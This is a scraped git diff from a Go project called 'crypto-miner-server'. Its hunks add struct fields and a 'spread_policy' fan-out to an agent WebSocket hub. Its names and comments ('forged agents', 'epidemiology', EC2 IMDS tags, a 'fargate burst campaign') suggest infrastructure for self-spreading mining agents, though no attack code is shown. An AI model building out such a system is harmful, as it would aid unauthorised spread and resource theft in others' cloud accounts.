// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
|
||||
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
|
||||
var agentBinarySearchDir = func() (string, error) {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package api
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
@@ -12,6 +12,7 @@ import (
|
||||
"time"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/erasure"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
@@ -22,6 +23,11 @@ type SpreadHandler struct {
|
||||
dataDir string
|
||||
projectRoot string
|
||||
wsHub *WSHub
|
||||
publicURL func() string
|
||||
erasureShards *erasure.ShardStore
|
||||
deployPlan *DeployPlanHandler
|
||||
policyPathTracer *PathTracerHandler
|
||||
policyFanoutCfgFn func() PolicyFanoutConfig
|
||||
notesMu sync.RWMutex
|
||||
}
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build ignore
|
||||
|
||||
package api
|
||||
|
||||
import (
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package api
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/subtle"
|
||||
@@ -179,6 +179,9 @@ type WSHub struct {
|
||||
epidemiology *epidemiology.Tracker
|
||||
miningSurgery *miningsurgery.Tracker
|
||||
contingencyOrch *mining.ContingencyOrchestrator
|
||||
policySnapshotToken string
|
||||
policyEventBridgeRelayURL string
|
||||
policyPublicBaseURL func() string
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
@@ -202,6 +205,14 @@ type WSHub struct {
|
||||
scoutConstellations *fleetai.ScoutConstellationRegistry
|
||||
scoutAgents map[string]bool
|
||||
|
||||
// Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
|
||||
cloudVenueMu sync.Mutex
|
||||
cloudVenues *fleetai.CloudVenueRegistry
|
||||
|
||||
fargateBurstCampaign bool
|
||||
fargateBurstExpiresAt time.Time
|
||||
fargateBurstTTLHours int
|
||||
|
||||
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
|
||||
statsBatchMu sync.Mutex
|
||||
statsBatch map[string]json.RawMessage
|
||||
@@ -953,6 +964,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
spreadPolicy[k] = v
|
||||
}
|
||||
}
|
||||
if fanout := h.policyFanoutSpreadFields(); fanout != nil {
|
||||
for k, v := range fanout {
|
||||
spreadPolicy[k] = v
|
||||
}
|
||||
}
|
||||
if len(spreadPolicy) > 0 {
|
||||
resp["spread_policy"] = spreadPolicy
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user